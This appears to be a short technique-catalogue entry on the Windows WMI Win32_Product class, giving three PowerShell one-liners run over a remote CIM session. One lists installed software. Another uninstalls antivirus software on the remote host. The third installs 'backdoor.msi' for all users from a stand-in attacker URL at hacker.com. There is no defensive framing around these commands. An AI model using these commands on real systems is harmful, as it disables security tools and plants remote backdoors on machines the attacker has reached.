Represent products as they are installed by MSI
Functions: | |
Type: | |
Toolsets: |
Get-CimInstance -ClassName Win32_Product -CimSession $s | Select-Object Caption,Vendor,Version,InstallLocation
Usecase
$s
using New-CimSession
ROOT\Cimv2
Get-CimInstance Win32_Product -Filter 'Caption="Antivirus Software caption"' -CimSession $s | Remove-CimInstance
Usecase
$s
using New-CimSession
ROOT\Cimv2
Invoke-CimMethod -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation="https://hacker.com/backdoor.msi"; Options=""; AllUsers=$true} -CimSession $s
Usecase
$s
using New-CimSession
ROOT\Cimv2